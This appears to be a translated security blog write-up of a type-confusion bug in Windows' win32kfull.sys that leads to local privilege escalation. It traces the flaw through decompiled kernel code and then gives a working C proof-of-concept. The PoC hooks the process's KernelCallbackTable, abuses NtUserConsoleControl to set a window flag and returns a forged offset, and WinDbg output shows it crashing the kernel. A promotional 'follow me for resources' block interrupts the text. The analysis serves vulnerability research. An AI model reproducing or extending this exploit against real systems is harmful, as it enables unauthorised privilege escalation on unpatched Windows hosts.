Vulnerability description
There is a Type Confusion vulnerability in the win32kfull!xxxClientAllocWindowClassExtraBytes function of the kernel module win32kfull.sys. Using this vulnerability to read and write out of bounds, local privilege escalation can be achieved.
Windows versions affected by the official notification:
Windows 10 Version 1803/1809/1909/2004/20h2
Windows Server, version 1909/20H2(Server Core installation)
Windows 10 Version for 32-bit Systems
Windows Server 2019
Vulnerability Analysis
Analyze Windows version: win10 20h2 19042.508
The Type Confusion vulnerability exists in the win32kfull!xxxCreateWindowEx function. The pseudocode of the vulnerability point in the function is as follows:
How did the vulnerability arise? This has to start with the window creation
[→Follow me for all resources, and reply to "data" by private message to get ←]
1. Network security learning route
2. E-books (white hat)
3. Internal video of a big security company4,
100 src documents5
, common security interview questions6
, Analysis of the classic topics of the ctf competition
7, a full set of toolkits
8, emergency response notes
Before creating a custom window, you need to register a custom window class. The structure of the window class is as follows:
typedef struct tagWNDCLASSA {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCSTR lpszMenuName;
LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;
Fill in the members of the structure of the window class, and then you can call CreateWindow(EXA/W) to create a window. The overall execution flow from R0 to R3 is as follows:
00 fffffe82`32d3f848 fffff467`52aa51a9 win32kfull!xxxCreateWindowEx
01 fffffe82`32d3f850 fffff467`5285519e win32kfull!NtUserCreateWindowEx+0x679
02 fffffe82`32d3f9f0 fffff802`36e058b5 win32k!NtUserCreateWindowEx+0xc2
03 fffffe82`32d3fa90 00007ffe`d86e1ec4 nt!KiSystemServiceCopyEnd+0x25
04 00000062`2ad9f7d8 00007ffe`d8ca7d8b win32u!NtUserCreateWindowEx+0x14
05 00000062`2ad9f7e0 00007ffe`d8ca7958 USER32!VerNtUserCreateWindowEx+0x20f
06 00000062`2ad9fb70 00007ffe`d8ca3c92 USER32!CreateWindowInternal+0x1a4
07 00000062`2ad9fcd0 00007ff7`9418144d USER32!CreateWindowExA+0x82
It can be seen that when creating a window, the function win32kfull!xxxCreateWindowEx that exists in the vulnerability will eventually be entered. So how can we call win32kfull!xxxClientAllocWindowClassExtraBytes in win32kfull!xxxCreateWindowEx (that is, reach line: 974 in the above figure)?
When the tagWNDCLASSA class sets the cbWndExtra member (the extra bytes allocated for the window instance) to not 0, the win32kfull!xxxClientAllocWindowClassExtraBytes function is called, and the problem lies in this function
v50 is a tagWND structure pointer. The tagWND has some changes in the win10 version compared to the win7 version. The key members of the tagWND structure are as follows (the picture comes from the Red Raindrop team), ( _QWORD )( (((_QWORD *)v50 + 5) + 0x128i64) is the pExtraBytes in the figure below. In the current normal execution process, it is assigned the heap address applied for by win32kfull!xxxClientAllocWindowClassExtraBytes. How do you know it is the heap address? see below
Decompile the function win32kfull!xxxClientAllocWindowClassExtraBytes and get the following results:
volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
SIZE_T v1; // rdi
int v2; // ebx
__int64 *v3; // rcx
volatile void *v4; // rbx
__int64 CurrentProcessWow64Process; // rax
unsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREF
volatile void *v8; // [rsp+38h] [rbp-30h]
char v9; // [rsp+70h] [rbp+8h] BYREF
char v10; // [rsp+78h] [rbp+10h] BYREF
int v11; // [rsp+80h] [rbp+18h] BYREF
int v12; // [rsp+88h] [rbp+20h] BYREF
v1 = (unsigned int)Length;
v7 = 0i64;
v11 = 0;
v8 = 0i64;
v12 = Length;
if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
EtwTraceBeginCallback(0x7Bi64);
v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
EtwTraceEndCallback(0x7Bi64);
LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
if ( v2 < 0 || v11 != 0x18 )
return 0i64;
v3 = (__int64 *)v7;
if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )
v3 = (__int64 *)MmUserProbeAddress;
v8 = (volatile void *)*v3;
v4 = v8;
CurrentProcessWow64Process = PsGetCurrentProcessWow64Process();
ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
return v4;
}
The function calls KeUserModeCallback to return to the user mode to execute the callback function. The prototype of the KeUserModeCallback function is as follows:
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
First, according to the API number 0x7b, it can be determined that the callback function is user32!_xxxClientAllocWindowClassExtraBytes
0: kd> dt ntdll!_PEB @$peb Ke*
+0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void
0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8)
user32!_xxxClientAllocWindowClassExtraBytes:
00007fff`4e177840 4883ec48 sub rsp,48h
00007fff`4e177844 8364242800 and dword ptr [rsp+28h],0
00007fff`4e177849 488364243000 and qword ptr [rsp+30h],0
00007fff`4e17784f 448b01 mov r8d,dword ptr [rcx]
00007fff`4e177852 ba08000000 mov edx,8
00007fff`4e177857 488b0dd2b70800 mov rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)]
00007fff`4e17785e 48ff154bb20600 call qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)]
00007fff`4e177865 0f1f440000 nop dword ptr [rax+rax]
Disassembly of user32!_xxxClientAllocWindowClassExtraBytes yields the following results:
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
PVOID Result; // [rsp+20h] [rbp-28h] BYREF
int v3; // [rsp+28h] [rbp-20h]
__int64 v4; // [rsp+30h] [rbp-18h]
v3 = 0;
v4 = 0i64;
Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
return NtCallbackReturn(&Result, 0x18u, 0);
}
The function calls RtlAllocateHeap to apply for *a1(Length) bytes of space from the user heap space pointed to by pUserHeap, and returns the heap address to the kernel state through NtCallbackReturn. The prototype of the NtCallbackReturn function is as follows:
So we can get the execution flow like this
xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn
The above are all normal execution processes. Next, let’s talk about the process of vulnerability generation.
pExtraBytes(offset: 0x128) is related to the ExtraFlag(offset: 0xe8) flag: when ExtraFlag & 0x800 == 0, pExtraBytes represents the memory pointer, that is, the above heap address; when ExtraFlag & 0x800 != 0, pExtraBytes represents is the memory offset
Because the win32kfull!xxxClientAllocWindowClassExtraBytes function is executed, the ExtraFlag of tagWND is not checked, so a malicious attacker can make tagWNDExtraFlag ExtraFlag | 0x800 in the callback function, which will cause pExtraBytes to represent a memory offset and no longer represent a memory address. , then maliciously control the offset of pExtraBytes, and also call NtCallbackReturn to return the offset value to the kernel, so that out-of-bounds read and write can occur, and through out-of-bounds read and write, read and write primitives can be obtained, which eventually leads to local privilege escalation
Vulnerability verification
Two key points of vulnerability verification:
- Path to the vulnerability
- The environment that triggers the vulnerability
The path to the vulnerability: set cbWndExtra of tagWNDCLASSA, call CreateWindow to create a window
The environment that triggers the vulnerability: Modify the ExtraFlag of tagWND in the callback function and return the specified offset value
POC writing
Before writing the POC, there are still some questions that need to be clarified:
- How to get window handle during call to CreateWindow (function does not return)
- How to modify the ExtraFlag of tagWND
Question 1: After referring to some methods published on the Internet, I chose a method of reuse, which is similar to constructing a hole of a specified size for control allocation after pool injection. To put it simply, it is to allocate a certain number of windows (the window class is the same), then destroy these windows, and then create the window to trigger the vulnerability (the pExtraBytes of the window is a special value), and the window that triggers the vulnerability will be assigned to a certain The memory area where the window just destroyed is located. How do we get the window handle after the window that triggers the vulnerability is occupied? It turns out that we can leak the memory pointer of tagWND in user mode through the handle of the window created at the beginning. The first address stores the window handle, and the offset 0xc8 stores pExtraBytes. By comparing the special values, we can search for it. The user mode tagWND first address of the window that triggered the vulnerability, read the value of its first address, and then get its window handle
Question 2: The great gods found that the win32kfull!xxxConsoleControl function can set the ExtraFlag of tagWND, and the user mode API that calls this function is NtUserConsoleControl
__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3)
{
...
v16 = (_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 获取tagWND的地址
v17 = (__int64)v16;
...
v18 = v16 + 5;// 获取pwnd的地址(真正的tagWND)
...
// 若ExtraFlag & 0x800 != 0
if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) != 0 )
{
v23 = (_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));
}
else
{
// 从桌面堆进行分配
v23 = (_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);
...
if ( *(_QWORD *)(*v18 + 0x128i64) )
{
CurrentProcess = PsGetCurrentProcess();
v30 = *(_DWORD *)(*v18 + 0xC8i64);
v29 = *(const void **)(*v18 + 0x128i64);
memmove(v23, v29, v30);
if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008) == 0 )
xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));
}
*(_QWORD *)(*v18 + 0x128i64) = (char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);
}
if ( v23 )
{
*v23 = *((_DWORD *)a2 + 2);
v23[1] = *((_DWORD *)a2 + 3);
}
// 将ExtraFlag |= 0x800u
*(_DWORD *)(*v18 + 0xE8i64) |= 0x800u;
goto LABEL_33;
}
...
}
After the above issues are resolved, you can happily write your POC
- Get some key function addresses: The HMValidateHandle function can obtain the address of the user mode tagWND according to the window handle. Although it is not an export function, it can be searched in the memory area where the IsMenu function is located; the NtCallbackReturn function can return the result to the kernel, as mentioned above. and
VOID InitFunction()
{
HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");
if (!hNtdll || !hWin || !hUser)
{
ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");
}
global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
if (!global::NtCallbackReturn || !global::NtUserConsoleControl)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
if (!isMenu)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
while (*isMenu++ != 0xe8);
global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));
if (!global::HMValidateHandle)
{
ErrorOutput("[-] Failed to get HMValidateHandle\n");
}
}
- Call the VirtualProtect function to modify the properties of the memory page where the callback function table is located, and replace the corresponding callback function with a custom callback function: __readgsqword(0x60) gets the PEB structure address of the current process, and the PEB structure offset 0x58 is KernelCallbackTable (callback function surface)
3: kd> dt ntdll!_PEB KernelCallbackTable
+0x058 KernelCallbackTable : Ptr64 Void
VOID HookCallBack()
{
ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
if (!KernelCallbackTable)
{
printf("[-] Failed to get kernel callback table\n");
exit(1);
}
DWORD oldProtect = 0;
ULONG64 target = KernelCallbackTable + (0x7B * 8);
VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);
global::orginCallBack = (pCallBack)(*(PULONG64)target);
*(PULONG64)target = (ULONG64)FakeCallBack;
VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect);
}
- Custom callback function: NtCallbackReturn is used to return the specified offset to the kernel. The calling method is modeled after _xxxClientAllocWindowClassExtraBytes. The calling parameters of NtUserConsoleControl are a little particular. Before the kernel calls xxxConsoleControl, NtUserConsoleControl is called, and there will be some small checks, namely One parameter cannot be greater than 6, and the third parameter cannot be greater than 0x18
And there is a part of the check in xxxConsoleControl, and finally it is decided that the first parameter is 6 and the last parameter is 0x10
VOID FakeCallBack(PULONG32 para)
{
if (*para == global::magicNum && global::flag)
{
printf("[+] Enter the fake callback\n");
HWND target = NULL;
for (ULONG32 idx = 2; idx < 20; ++idx)
{
if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum)
{
target = (HWND) * (PULONG64)global::pWnds[idx];
printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);
printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);
break;
}
}
// set flag
ULONG64 buffer1[2] = { (ULONG64)target, 0 };
global::NtUserConsoleControl(6, buffer1, 0x10);
// set offset
ULONG64 buffer2[3] = { 0x1234, 0, 0 };
global::NtCallbackReturn(buffer2, 0x18, 0);
}
return global::orginCallBack(para);
}
1.1. Window creation and destruction: first create 20 regular windows, use HMValidateHandle to leak the window address, then release windows 2 to 19 (all of them can be released), create a window that triggers the vulnerability, and finally destroy the window that triggers the vulnerability. BSOD can be triggered
int main()
{
InitFunction();
HookCallBack();
HINSTANCE hInstance = GetModuleHandleA(NULL);
WNDCLASSA wc{ 0 };
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = "Normal";
wc.cbWndExtra = 0x10;
ATOM normalClass = RegisterClassA(&wc);
if (!normalClass)
{
ErrorOutput("[-] Failed to register normal class\n");
}
wc.lpszClassName = "Magic";
wc.cbWndExtra = global::magicNum;
ATOM magicClass = RegisterClassA(&wc);
if (!magicClass)
{
ErrorOutput("[-] Failed to register magic class\n");
}
for (ULONG32 idx = 0; idx < 20; ++idx)
{
global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!global::hWnds[idx])
{
ErrorOutput("[-] Failed to create normal window\n");
}
global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
}
for (ULONG32 idx = 2; idx < 20; ++idx)
{
if (global::hWnds[idx])
{
DestroyWindow(global::hWnds[idx]);
}
}
global::flag = TRUE;
HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!hMagic)
{
ErrorOutput("[-] Failed to create magic window\n");
}
DestroyWindow(hMagic);
return 0;
}
POC debugging
Set a breakpoint in the callback function, check the memory according to the pointer printed on the command line, you can see the handle stored at the first address, the offset 0xc8 is the special value 0xabcd
2: kd> dq 27dab7814c0 l20
0000027d`ab7814c0 00000000`00020350 00000000`000314c0
0000027d`ab7814d0 00000000`00000000 08000000`08000000
0000027d`ab7814e0 00007ff6`13040000 00000000`00000000
0000027d`ab7814f0 00000000`000012b0 00000000`00000000
0000027d`ab781500 00000000`00000000 00000000`00000000
0000027d`ab781510 00000000`00000000 00000000`00000000
0000027d`ab781520 00000000`00000000 00000000`00000000
0000027d`ab781530 00000000`00000000 00007ff6`130410a0
0000027d`ab781540 00000000`0000f160 00000000`00000000
0000027d`ab781550 00000000`00000000 00000000`00000000
0000027d`ab781560 00000000`00000000 00000000`00000000
0000027d`ab781570 00000000`00000000 00000000`00000000
0000027d`ab781580 00000000`00000000 00000000`0000abcd
0000027d`ab781590 00000000`00020221 00000000`00000000
0000027d`ab7815a0 00000000`00000000 00000001`00000000
0000027d`ab7815b0 00000000`00000000 00000000`00000000
2: kd> ? 0000027d`ab781588-0000027d`ab7814c0
Evaluate expression: 200 = 00000000`000000c8
Trace the xxxConsoleControl function in the kernel, and check the window structure in the kernel. When the function is not executed, the flag ExtraFlag has not been set. Once executed, the flag ExtraFlag is set.
2: kd> dq ffff8a5905879150 l10
ffff8a59`05879150 00000000`00020350 00000000`00000001
ffff8a59`05879160 ffff8a59`02ee48a0 ffff8f01`0b551de0
ffff8a59`05879170 ffff8a59`05879150 ffff8a59`012314c0
ffff8a59`05879180 00000000`000314c0 00000000`00000000
ffff8a59`05879190 00000000`00000000 00000000`00000000
ffff8a59`058791a0 00000000`00000000 00000000`00000000
ffff8a59`058791b0 00000000`00000000 ffff8a59`00830a80
ffff8a59`058791c0 00000000`00000000 00000000`00000000
2: kd> dq poi(@rax+28)
ffff8a59`012314c0 00000000`00020350 00000000`000314c0
ffff8a59`012314d0 00000000`00000000 08000000`08000000
ffff8a59`012314e0 00007ff6`13040000 00000000`00000000
ffff8a59`012314f0 00000000`000012b0 00000000`00000000
ffff8a59`01231500 00000000`00000000 00000000`00000000
ffff8a59`01231510 00000000`00000000 00000000`00000000
ffff8a59`01231520 00000000`00000000 00000000`00000000
ffff8a59`01231530 00000000`00000000 00007ff6`130410a0
2: kd> ? poi(poi(@rax+28) + e8)
Evaluate expression: 4294967296 = 00000001`00000000
2: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007fff`f6820192 cc int 3
1: kd> dq ffff8a59`012314c0+e8 L1
ffff8a59`012315a8 00000001`00100818
1: kd> ? 00000001`00100818 & 0x800
Evaluate expression: 2048 = 00000000`00000800
Breakpoint under the next instruction of calling win32kfull!xxxClientAllocWindowClassExtraBytes function in xxxCreateWindowEx
3: kd> ba e1 ffff8348`7883ce09
3: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx+0x1259:
ffff8348`7883ce09 488bc8 mov rcx,rax
3: kd> r rax
rax=0000000000001234
After executing this xxxCreateWindowEx function, continuing to execute DestroyWindow in the poc will trigger a blue screen
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000000c2000 rbx=0000000000000000 rcx=00000000000c2000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80557e61cf1 rsp=fffff080407c6740 rbp=ffff8a5901200040
r8=ffff8a590113f000 r9=00000000014b92ca r10=ffff8a5901201234
r11=014b92ca3db812e6 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
nt!RtlpHpVsContextFree+0x41:
fffff805`57e61cf1 410fb74822 movzx ecx,word ptr [r8+22h] ds:ffff8a59`0113f022=????
Resetting default scope
STACK_TEXT:
fffff080`407c5b68 fffff805`580c7422 : ffff8a59`0113f022 00000000`00000003 fffff080`407c5cd0 fffff805`57f3bb20 : nt!DbgBreakPointWithStatus
fffff080`407c5b70 fffff805`580c6b12 : fffff805`00000003 fffff080`407c5cd0 fffff805`57ff3960 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
fffff080`407c5bd0 fffff805`57fdf327 : fffff805`582844f8 fffff805`580f0fb5 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x952
fffff080`407c62d0 fffff805`58001663 : 00000000`00000050 ffff8a59`0113f022 00000000`00000000 fffff080`407c65b0 : nt!KeBugCheckEx+0x107
fffff080`407c6310 fffff805`57e90edf : fffff080`407f1000 00000000`00000000 00000000`00000000 ffff8a59`0113f022 : nt!MiSystemFault+0x1d6933
fffff080`407c6410 fffff805`57fed320 : 00000000`00000000 fffff805`57e84817 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f
fffff080`407c65b0 fffff805`57e61cf1 : ffffa10d`a650ec60 fffff805`5905208d 00000000`00000350 ffff8f01`0e353080 : nt!KiPageFault+0x360
fffff080`407c6740 fffff805`57f0b7fa : 00000000`00000008 fffff080`407c6840 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x41
fffff080`407c67e0 fffff805`57f0b77c : ffff8a59`01200000 00000000`00000000 ffff8a59`01201234 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a
fffff080`407c6860 ffff8a2a`1d249973 : 00000000`00001234 00000000`00000000 00000000`00000000 ffff8a59`05879150 : nt!RtlFreeHeap+0x3c
fffff080`407c68a0 ffff8a2a`1d2463be : ffff8a59`00693920 00000000`08000100 ffff8a59`02ee48a0 ffff8a59`05879150 : win32kfull!xxxFreeWindow+0x4bf
fffff080`407c69d0 ffff8a2a`1d319e3a : 00007ff6`13043474 00000000`00000000 00007ff6`13040000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x3ae
fffff080`407c6ad0 fffff805`57ff0b18 : 0000027d`40000600 0000000a`00000000 ffffffff`ffe17b80 ffff8f01`0d3e6be0 : win32kfull!NtUserDestroyWindow+0x3a
fffff080`407c6b00 00007fff`f5cb23e4 : 00007ff6`1304151d 00000000`00000098 00000000`00000000 00007ff6`00000000 : nt!KiSystemServiceCopyEnd+0x28
000000d5`26dffd28 00007ff6`1304151d : 00000000`00000098 00000000`00000000 00007ff6`00000000 00000000`00000000 : win32u!NtUserDestroyWindow+0x14
000000d5`26dffd30 00000000`00000098 : 00000000`00000000 00007ff6`00000000 00000000`00000000 00000000`00000000 : poc!main+0x33d [D:\SelfLearn\C++Project\Exploit\Exploit\2021-1732-EXP.cpp @ 170]
000000d5`26dffd38 00000000`00000000 : 00007ff6`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x98